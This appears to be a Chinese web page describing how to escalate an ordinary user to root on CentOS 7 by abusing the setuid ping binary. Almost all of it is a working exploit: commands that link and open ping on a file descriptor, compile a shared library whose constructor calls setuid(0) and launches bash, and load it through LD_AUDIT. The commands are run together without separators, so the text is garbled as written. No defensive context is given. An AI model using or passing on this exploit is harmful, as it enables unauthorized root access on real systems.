Centos7使用ping命令对普通用户提权

yum -y install gcc automake autoconf libtool makeadduser testpasswd testmkdir /tmp/exploitln -s /usr/bin/ping /tmp/exploit/targetexec 3< /tmp/exploit/targetls -l /proc/$$/fd/3rm -rf /tmp/exploitls -l /proc/$$/fd/3vim payload.cvoid __attribute__((constructor)) init() {setuid(0); system("/bin/bash"); }gcc -w -fPIC -shared -o /tmp/exploit payload.cls -l /tmp/exploitLD_AUDIT="$ORIGIN" exec /proc/self/fd/3whoami 

Centos7使用ping命令对普通用户提权

文章插图
 

【Centos7使用ping命令对普通用户提权】


    推荐阅读